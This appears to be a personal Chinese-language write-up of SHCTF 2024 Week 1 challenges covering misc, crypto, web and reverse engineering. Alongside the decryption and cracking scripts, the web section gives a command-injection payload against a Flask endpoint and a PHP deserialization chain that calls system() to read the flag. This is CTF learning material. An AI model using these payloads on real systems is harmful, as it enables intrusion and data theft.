SHCTF-Week1 个人Writeup

SHCTF2024 - Week1

Misc

签到题

Quarantine

搜到了CyberSpace CTF 2024 Writeup

#!/usr/bin/env python3
from Crypto.Cipher import ARC4

key = [
0x1E, 0x87, 0x78, 0x1B, 0x8D, 0xBA, 0xA8, 0x44, 0xCE, 0x69, 0x70, 0x2C, 0x0C,
0x78, 0xB7, 0x86, 0xA3, 0xF6, 0x23, 0xB7, 0x38, 0xF5, 0xED, 0xF9, 0xAF, 0x83,
0x53, 0x0F, 0xB3, 0xFC, 0x54, 0xFA, 0xA2, 0x1E, 0xB9, 0xCF, 0x13, 0x31, 0xFD,
0x0F, 0x0D, 0xA9, 0x54, 0xF6, 0x87, 0xCB, 0x9E, 0x18, 0x27, 0x96, 0x97, 0x90,
0x0E, 0x53, 0xFB, 0x31, 0x7C, 0x9C, 0xBC, 0xE4, 0x8E, 0x23, 0xD0, 0x53, 0x71,
0xEC, 0xC1, 0x59, 0x51, 0xB8, 0xF3, 0x64, 0x9D, 0x7C, 0xA3, 0x3E, 0xD6, 0x8D,
0xC9, 0x04, 0x7E, 0x82, 0xC9, 0xBA, 0xAD, 0x97, 0x99, 0xD0, 0xD4, 0x58, 0xCB,
0x84, 0x7C, 0xA9, 0xFF, 0xBE, 0x3C, 0x8A, 0x77, 0x52, 0x33, 0x55, 0x7D, 0xDE,
0x13, 0xA8, 0xB1, 0x40, 0x87, 0xCC, 0x1B, 0xC8, 0xF1, 0x0F, 0x6E, 0xCD, 0xD0,
0x83, 0xA9, 0x59, 0xCF, 0xF8, 0x4A, 0x9D, 0x1D, 0x50, 0x75, 0x5E, 0x3E, 0x19,
0x18, 0x18, 0xAF, 0x23, 0xE2, 0x29, 0x35, 0x58, 0x76, 0x6D, 0x2C, 0x07, 0xE2,
0x57, 0x12, 0xB2, 0xCA, 0x0B, 0x53, 0x5E, 0xD8, 0xF6, 0xC5, 0x6C, 0xE7, 0x3D,
0x24, 0xBD, 0xD0, 0x29, 0x17, 0x71, 0x86, 0x1A, 0x54, 0xB4, 0xC2, 0x85, 0xA9,
0xA3, 0xDB, 0x7A, 0xCA, 0x6D, 0x22, 0x4A, 0xEA, 0xCD, 0x62, 0x1D, 0xB9, 0xF2,
0xA2, 0x2E, 0xD1, 0xE9, 0xE1, 0x1D, 0x75, 0xBE, 0xD7, 0xDC, 0x0E, 0xCB, 0x0A,
0x8E, 0x68, 0xA2, 0xFF, 0x12, 0x63, 0x40, 0x8D, 0xC8, 0x08, 0xDF, 0xFD, 0x16,
0x4B, 0x11, 0x67, 0x74, 0xCD, 0x0B, 0x9B, 0x8D, 0x05, 0x41, 0x1E, 0xD6, 0x26,
0x2E, 0x42, 0x9B, 0xA4, 0x95, 0x67, 0x6B, 0x83, 0x98, 0xDB, 0x2F, 0x35, 0xD3,
0xC1, 0xB9, 0xCE, 0xD5, 0x26, 0x36, 0xF2, 0x76, 0x5E, 0x1A, 0x95, 0xCB, 0x7C,
0xA4, 0xC3, 0xDD, 0xAB, 0xDD, 0xBF, 0xF3, 0x82, 0x53
]
key = bytes(key)

DIR = ''
files = [
    '5760650163482280EF03C48A97277F7E490A0761'
]
out_files = ['entries', 'resource_data', 'resources']

for i in range(len(files)):
    with open(DIR + files[i], 'rb') as f:
        ct = f.read()

    cipher = ARC4.new(key)
    pt = cipher.decrypt(ct)

    with open(out_files[i], 'wb') as f:
        f.write(pt)

base解码得到zip，rockyou字典爆破

SHCTF{NObody_d0_no4_1ov4_ttthe_Cute_shenghuo2}

Rasterizing Traffic

流量包里图片提取出来，解光栅图

from PIL import Image
import numpy as np

# 加载图像并将其转换为numpy数组
img = np.array(Image.open('out.png'))

# 检查图像的维度
if img.ndim == 2:  # 灰度图像
    img = img[:, :, np.newaxis]  # 添加一个新轴，使其成为三维数组

# 处理图像
for i in range(5):
    z = np.zeros_like(img)
    z[:, i::5, :] = img[:, i::5, :]
    Image.fromarray(np.squeeze(z)).show()  # 去除多余的轴以显示图像

SHCTF{1111z_tr@ff1c_aNaLys13}

真真假假?遮遮掩掩!

伪加密+掩码爆破

SHCTF{C0ngr@tu1at1ons_On_Mast3r1ng_mAsk_aTT@ck5!}

拜师之旅①

修头尾

改高度

SHCTF{ohhh_rooooxy!}

有WiFi干嘛不用呢？

经过测试发现/may/下文件内容为密码本

import os

# 指定要读取的目录
directory = 'may/'

# 创建或清空 pass2.txt 文件
with open('pass2.txt', 'w') as output_file:
    # 获取目录下的所有文件名
    file_names = os.listdir(directory)
    
    # 遍历每个文件名
    for file_name in file_names:
        file_path = os.path.join(directory, file_name)
        
        # 检查是否为文件
        if os.path.isfile(file_path):
            # 读取文件内容
            with open(file_path, 'r') as input_file:
                content = input_file.read()
                # 写入到 pass2.txt
                output_file.write(content.replace('[','').replace(']',''))  # 添加换行分隔不同文件内容

print("文件内容已成功写入 pass2.txt")

aircrack-ng 01.cap -w pass2.txt

Crypto

Hello Crypto

from Crypto.Util.number import long_to_bytes
m = 215055650564999509150846635317953513248943876253318918859916825552172316007102692036650485726164175740980571999113498276733
print(long_to_bytes(m))
# b'SHCTF{heLIO_ctFer_weIC0M3_TO_crYptO_WOR1d_8F3d7D73}'

EzAES

from Crypto.Cipher import AES

key = b'\xf4\x94\xf4\x1b\tGT\xc3X\xb7z7\xf1\xcb+]'
iv = b'\xfaTD\xd7Tb<\xe8\xec\xb4\xeewAj\x8d~'
# 读取加密数据
enc = b'\xbc\x91\xe2\x8e\xf7\x15\x82\x1c\xf2\xb6\xa22\x1e\xa6\x87\x82^M\xa2\x06G(\xb7\n\xdc\x0f\xb8JQ\x079\x07$\x99\x95\x81\x8d)\xb1Kie]\x1e~w(`'
my_aes = AES.new(key, AES.MODE_CBC, iv)
flag = my_aes.decrypt(enc)
print(flag)
# b'SHCTF{9b40f58e-6347-4ba8-817e-ac30ee2ba3c6}\x00\x00\x00\x00\x00'

factor

yafu分解素数，爆破flag

from itertools import combinations
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long

# 给定的10个素数
prime_list = [
    16432153879622228201,
    17508572172505210603,
    14840266192168148383,
    11128875492035057287,
    12238526568533783153,
    15179811452670514361,
    14215395029637648403,
    18032107950312941801,
    11722050667029563417,
    18418337749247698391
]

# 已知的密文和公钥指数
c = 164326098589033700628793449327131970200266976836837672381643178996169709792082967982895982746191465879168318158977999162381397086955855  # 替换为你的密文
e = 65537


def prod(iterable):
    result = 1
    for num in iterable:
        result *= num
    return result


# 尝试所有7个素数的组合
for p_list in combinations(prime_list, 7):
    n = prod(p_list)
    #print(f"Trying n = {n}")

    phi = prod(p - 1 for p in p_list)
    # 计算私钥 d
    d = inverse(e, phi)
    # 解密
    m = pow(c, d, n)
    flag = long_to_bytes(m)
    if b'{' in flag:
        print(f"Decrypted flag: {flag}")

d_known

给了e,c,d 可以求得kphi，爆破k求得phi

p,q临近

from Crypto.Util.number import *
from gmpy2 import *
from sympy import prevprime

c = 6040292721432032028176894458440596371674607087338255908226499417851066496324286572221804818335018989263137123792124667374884319688433436019941416667809128385300327462563601149019443449676252437975566219899202751498747525789097430709477018281130861842932430041464537358269045331954787582890143905137411080644135300962162001831351539676432068077965305084494578457616221596953844465835834949847205732403650068362038682220338283167392386384957123593053690761664186760275629331041475716736215161830658784257615339026262586930835411645851388599003619604304777184107134555449587321594173373697527334786059011472337875595600
d = 1184514157125844243844629746423926661100861773008927259855147334001774402809826873890792820108528922673155846705820075428647313030429747919876791529623567490501318140371324244387159386805359977922280628515297065897880340511729620639973983702422006907268013615187548836684543137542310176722097069225309175096545089593890253948989143521208089402077481834496682161830672449444334855505045564620581323465167142069694442089139697924473654434673910737292043957424583225441682809456288911565198409582329033938494042952640059501604399866563977489187684230328433600906499412136457678936393109622507394268163442053080547075073
e = 0x10001

kphi = e*d-1
phi = 0
for k in range(1, e):
    if kphi % k == 0:
        phi = kphi // k
        P = iroot(phi, 2)[0]
        p = prevprime(P)
        q = next_prime(P)
        if ((p-1)*(q-1) == phi):
            print(long_to_bytes(pow(c, d, p*q)))
            break
# b'SHCTF{85c46a4a-eaf9-41b8-b590-fbb4859aeef3}'

Web

单身十八年的手速

直接查看js

SHCTF{07357610-ac20-48ca-9302-8cd29cb1dfd8}

1zflask

/robots.txt泄露/s3recttt

app.py泄露路由/api

@app.route('/api')
def api():
    cmd = request.args.get('SSHCTFF', 'ls /')
    result = os.popen(cmd).read()
    return result

payload

/api?SSHCTFF=cat /flag

蛐蛐?蛐蛐!

注释提示源码在source.txt

<?php
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
    if($_POST['ququ']!=null){
        $eval_param = $_POST['ququ'];
        if(strncmp($eval_param,'ququk1',6)===0){
            eval($_POST['ququ']);
        }else{
            echo("可以让fault的蛐蛐变成现实么\n");
        }
    }
    echo("蛐蛐成功第一步！\n");

}
else{
    echo("呜呜呜fault还是要出题");
}

ez_gittt

.git泄露，手撕objects下数据

jvav

用java脚本读取/flag即可

import java.io.BufferedReader;  
import java.io.FileReader;  
import java.io.IOException;  
  
public class demo {  
    public static void main(String[] args) {  
        String filePath = "/flag"; // 注意：这通常是不可取的，因为/根目录通常不包含可读的非系统文件  
  
        try (BufferedReader br = new BufferedReader(new FileReader(filePath))) {  
            String line;  
            while ((line = br.readLine()) != null) {  
                System.out.println(line);  
            }  
        } catch (IOException e) {  
            System.err.println("Error reading the file: " + e.getMessage());  
        }  
    }  
}

poppopop

<?php
class SH {

    public static $Web = false;
    public static $SHCTF = false;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T{

    public $n;
    public function __destruct() #在对象的所有引用被删除或者当对象被显式销毁时执行
    {

        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString() #触发时机：把对象被当成字符串调用
    {
        SH::$SHCTF = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class SHCTF {
    public $isyou;
    public $flag;
    public function __invoke() #触发时机：把对象当函数调用
    {
        if (SH::$Web) {

            ($this->isyou)($this->flag);
            echo "小丑竟是我自己呜呜呜~";
        } else {
            echo "小丑别看了!";
        }
    }
}

$sh=new SHCTF;
$sh->isyou='system';
$sh->flag='ls';
$c=new C;
$c->p=$sh;
$f=new F;
$f->o=$c;
$t=new T;
$t->n=$f;
echo serialize($sh);
# O:1:"T":1:{s:1:"n";O:1:"F":1:{s:1:"o";O:1:"C":1:{s:1:"p";O:5:"SHCTF":2:{s:5:"isyou";s:6:"system";s:4:"flag";s:11:"cat /flllag";}}}}

MD5 Master

fastcoll生成符合要求的字符串

删去MD5 master!后上传文件并url编码

Reverse

ezxor

密文是v9+v10，strcpy(v10, "o");的值是 0x6F、0x00

v9 = [0xC3, 0x69, 0x72, 0xC4, 0x67, 0x4A, 0xE8, 0x11, 0x43, 0xCF , 0x6F,0x00,0xF3,0x44,0x6E,0xF8,0x59,0x49,0xE8,0x4E,0x5E,0xE2,0x53,0x43,0xB1,0x5C]

for j in range(len(v9)):
    if j % 3 == 1:
        v9[j] ^= 0x21
    elif j % 3 == 2:
        v9[j] ^= 0x31
    else:
        v9[j] ^= 0x90

for i in v9:
    print(chr(i), end='')
# SHCTF{x0r_N1ce_hxxxoorrr!}

gamegame

shctf{468912723481342575971422657913948591537428763345261}

ezapk

加密函数

    public static String Encode(String str, byte[] bArr) {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < str.length(); i++) {
            sb.append((char) (((char) (((char) (str.charAt(i) ^ bArr[i % bArr.length])) + 6)) * 2));
        }
        return Base64.getEncoder().encodeToString(sb.toString().getBytes(StandardCharsets.UTF_8));
    }

这里额外注意getBytes(StandardCharsets.UTF_8)，一个字符两个字节

import base64

# 定义解码函数
def decode(encoded_str, key):
    # 先进行Base64解码
    decoded_bytes = base64.b64decode(encoded_str)
    
    # 将字节转换为字符串，假设每个字符占用两个字节
    decoded_str = decoded_bytes.decode('utf-8')

    # 反向操作
    result = []
    for i in range(len(decoded_str)):
        char_code = ord(decoded_str[i])
        original_char_code = (char_code // 2) - 6
        result_char = chr(original_char_code ^ key[i % len(key)])
        result.append(result_char)

    return ''.join(result)

# 定义key
key = bytearray([12, 15, 25, 30, 36])
# 需要解码的字符串
encoded_str = "woLDgMOgw7hEwoJQw7zDtsKow7TDpMOMZMOow75QxIbDnsKmw6Z4UMK0w7rCklDCrMKqwqbDtMOOw6DDsg=="

# 调用解码函数
decoded_result = decode(encoded_str, key)
print("Decoded string:", decoded_result)

难绷环节，我以为是SHCTF开头的才是flag就没交

原来7Ush87-akjxcy2Ju-dwia9;JSO-IQixnsm套上SHCTF{}就对了

ezrc4

进入main函数

  v8 = __readfsqword(0x28u);
  puts("   _____ _    _  _____ _______ ______ ");
  puts("   _____ _    _  _____ _______ ______ ");
  puts("  / ____| |  | |/ ____|__   __|  ____|");
  puts(" | (___ | |__| | |       | |  | |__   ");
  puts("  \\___ \\|  __  | |       | |  |  __|  ");
  puts("  ____) | |  | | |____   | |  | |     ");
  puts(" |_____/|_|  |_|\\_____|  |_|  |_|     ");
  puts(&byte_56383BAC10F7);
  puts(&byte_56383BAC1110);
  puts("rrrrrcccc4444444!");
  printf("you input flag:");
  v4[0] = 0x5B3C8F65423FAB21LL;
  v4[1] = 0x691AE7846E05170CLL;
  v4[2] = 0x111F7077C3LL;
  memset(&v4[3], 0, 231);
  v5[0] = 0x212179654B6E6546LL;
  memset(&v5[1], 0, 247);
  __isoc99_scanf("%s21", v7);
  sub_56383BAC0200((__int64)v5, 8, (__int64)&unk_56383BAC3040);
  sub_56383BAC02E2((__int64)v7, (__int64)s1, 21, (__int64)&unk_56383BAC3040);
  if ( !strcmp(s1, (const char *)v4) )
    printf("flag is correct");
  else
    printf(&byte_56383BAC1166);
  return 0LL;
}

查看sub_56383BAC02E2看到rc4的特征并最后异或了0x66。

v5是key，v4是密文。

因为是小端序，数据不好取出，最好调试。

附上我的ELF远程调试记录：https://www.cnblogs.com/Mar10/p/18460878

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